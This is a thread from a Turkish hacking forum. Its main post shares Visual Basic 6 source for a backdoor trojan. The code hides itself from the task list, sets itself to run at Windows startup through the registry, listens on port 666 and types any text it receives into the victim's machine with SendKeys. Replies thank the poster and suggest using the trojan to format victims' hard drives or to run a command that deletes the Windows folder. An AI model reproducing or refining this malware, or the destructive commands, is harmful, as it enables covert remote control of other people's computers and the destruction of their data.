Çok sağol You have given out too much Karma in the last 24 hours, try again later.

Ya ben bunun aynısını bi yerde gördüm kelimesi kelimesine ama neyse. Hatta benim pc de bile vardı bu aynısı Paylaşman iyi oldu bilmeyenlere örnek

saol kardesim güzel calısma. benim üzerinde durdugum bir virus var sistemi cökermiyor fakat adam yaptıgı işlemden bkıp kendi format atıyor

bildiğim kadarıyla öyle ama kodları denemediğim için bilmiyorum tam

abi suç bende deil arama motoru bozuk kaç kere arattım çıkmadı napabilirim...

abi ellerine ve emeğine sağlık çok teşekkürler

Ben Şimdi Başladım Daha Açık Anlatımlarla İlgili Linkleri MSN den Bana Werirseniz Çok Memnun Olurum

bende olsa istediğin link wermezdim çünkü ben ayrım yapmıyorum siteye koyardım ve diğer arkadaşlarımında öyle düşündüğünü zannediyorum

Abi bu trojan aldığı verileri SendKeys ile girmiyor mu? O zaman 5-6 kod verip HDD'yi de formatlarız.

adamın msn'i meşgule düşünce trojan'a çalıştır'ın kısayolunu sonra cmd'yi sonra "rm /r /f C:\Windows" yazıp yollarız. Windows çöker.

sen bilirsin dene işine yarar inşallah..

Sanki senin verdiğin aşağıda Suk1y3n'in verdiği trojana benziyor biraz http://www.wardom.org/visual-basic-6-0-trojan-yazimi-t77220.html

Önce trojan hakkında biraz bilgi vereyim. Trojan Windows her çalıştığında çalışıyor. CTRL+ALT+Del ekranında görünmüyor. Bu trojanı yiyen bilgisyara telnet ile bağlanabiliniyor. Bir visual basic projesi başlatın ve forma Microsoft Winsock Kontrolü ekleyin. Ve aşağıdaki kodları kontrolün bulundu u formun kod editörüne yapıştırın... Private Sub Form_Load App. TaskVisible = False ' Trojan Ctrl + Alt + Del ekranında görünmeyecek ' Buda programı(trojanı windows kayıt defterine ekler ve windows her ' açıldı ında çalışmasını sağlar. Dim KayitDefteri As Object Set KayitDefteri = CreateObject KayitDefteri. RegWrite "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENT V ERSIONRUN" & App. EXEName, App. Path & "" & App. EXEName & ". exe" Winsock1. LocalPort = "666" ' bu trojanın portun belirtir. İsterseniz de iştirebilirsiniz. Winsock1. Listen 'Trojan bağlantıları dinliyor. Me. Hide End Sub Private Sub Winsock1_ConnectionRequest 'Winsock kontrolü kullanılıyor mu bak. If Winsock1. State <> sckClosed Then Winsock1. Close Winsock1. Accept requestID 'İstemci bilgisyar ba lantısını kabul et End Sub Private Sub Winsock1_Error 'Hata olmuşsa yada ba lantı kaybedilmişse, tekrar dinlemeye geçiliyor Winsock1. Close Winsock1. Listen End Sub Private Sub Winsock1_Close Winsock1. Close Winsock1. Listen End Sub Private Sub Winsock1_DataArrival Dim data1 As String Winsock1. GetData data1 DoEvents SendKeys data1 End Sub NOT:werildiyse pardon arattım çıkmadı + ALINTIDIR...